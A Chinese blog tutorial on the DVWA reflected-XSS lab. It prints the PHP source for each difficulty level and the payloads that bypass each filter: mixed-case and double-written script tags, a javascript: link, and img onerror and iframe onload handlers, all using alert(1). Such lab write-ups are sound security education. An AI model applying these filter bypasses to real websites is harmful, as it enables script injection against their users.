惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - Franky
N
Netflix TechBlog - Medium
宝玉的分享
宝玉的分享
Google DeepMind News
Google DeepMind News
腾讯CDC
G
Google Developers Blog
Martin Fowler
Martin Fowler
Microsoft Security Blog
Microsoft Security Blog
Recent Announcements
Recent Announcements
爱范儿
爱范儿
Engineering at Meta
Engineering at Meta
Microsoft Azure Blog
Microsoft Azure Blog
A
About on SuperTechFans
aimingoo的专栏
aimingoo的专栏
有赞技术团队
有赞技术团队
Jina AI
Jina AI
人人都是产品经理
人人都是产品经理
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
M
MIT News - Artificial intelligence
罗磊的独立博客
博客园 - 三生石上(FineUI控件)
美团技术团队
WordPress大学
WordPress大学
阮一峰的网络日志
阮一峰的网络日志

Casear的技术栈

Ubuntu 26.04 编译 asusctl Ubuntu 26.04 装 NVIDIA 580 内网异机备份 conf 驱动 Razer_GRUB_Theme Fcitx5 输入法配置:切换中文输入法 服务器 zsh 环境配置记录:Zim + p10k + eza + zoxide # ThinkPad T490s Linux 指纹模块启用指南(KDE vanblog使用picgo图床的完整部署教程 vanblog备份恢复评论数据 如何配置一个虚拟显示器,以便远程没有显示器的系统 解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 修复 Fuck 2025 ATT&CK红队评估实战靶场二 一言 解决kde环境下切换登陆屏幕(SDDM)后显示异常 rss Linux实用软件分享 Kubuntu 上安装 显卡驱动 和 EnvyControl kubuntu 搜狗输入法安装问题解决 终端工具的选择 chatlog 青龙面板+wxBotWebhook实现自动推送天气 mac 安装 第三方应用问题 zsh 安装与配置,使用 oh-my-zsh 美化终端 pve虚拟机硬盘直通 tldr-pages 安装 pve安装Arch-linux Arch-linux安装桌面环境 提问的艺术极简板 Waline 服务端独立部署解决方案
DVWA靶场--XSS(Reflected)教程
casearx@foxm · 2024-04-03 · via Casear的技术栈

请注意,本文编写于 815 天前,最后修改于 801 天前,其中某些信息可能已经过时。

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

反射型XSS攻击需要具备以下条件:

  • 需要向web页面注入恶意代码;
  • 这些恶意代码能够被浏览器成功的执行
  • 用户交互

image.png

代码级别解析

low

源码

<?php header ("X-XSS-Protection: 0"); // arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名 //并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>

漏洞复现

  服务器只是判断了 name 参数是否为空,如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查。

(1)直接使用 <script>alert(1)</script> 进行尝试

image.png

Medium

源码

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input //将输入中的<script>替换为空字符串 $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>

漏洞复现

(1)使用了str_replace检查 name 参数中是否有 < script >,如果有则替换为空,也就是说过滤掉了<script>这个标签。但是str_replace是区分大小写的,因此可以使用大小写绕过。

<sCript>alert(1)</ScRipt>

(2)除了使用大小写绕过,还可以使用双写绕过

<sc<script>ript>alert(1)</script>

(3)还可以使用一种"奇淫巧计"

<a href="javascript:alert(1)">is</a>

High

源码

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>

漏洞复现

 preg_replace() 函数执行一个正则表达式的搜索和替换,* 代表一个或多个任意字符,i 代表不区分大小写。也就是说 < script > 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入JS攻击脚本。

<img src = 1 onerror = alert(1)> <iframe onload="alert(1)"></iframe>

image.png

image.png

Impossible

源码

<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { $html .= '<pre>'; $html .= 'Hello ' . htmlspecialchars($_GET['name']); $html .= '</pre>'; }

漏洞复现

根据@Fgaoxing想出的url转义,使用%3cscript%3ealert(1)%3c/script%3e依然无法绕过

image.png 最新版本使用了一个替换< >的函数,目前无解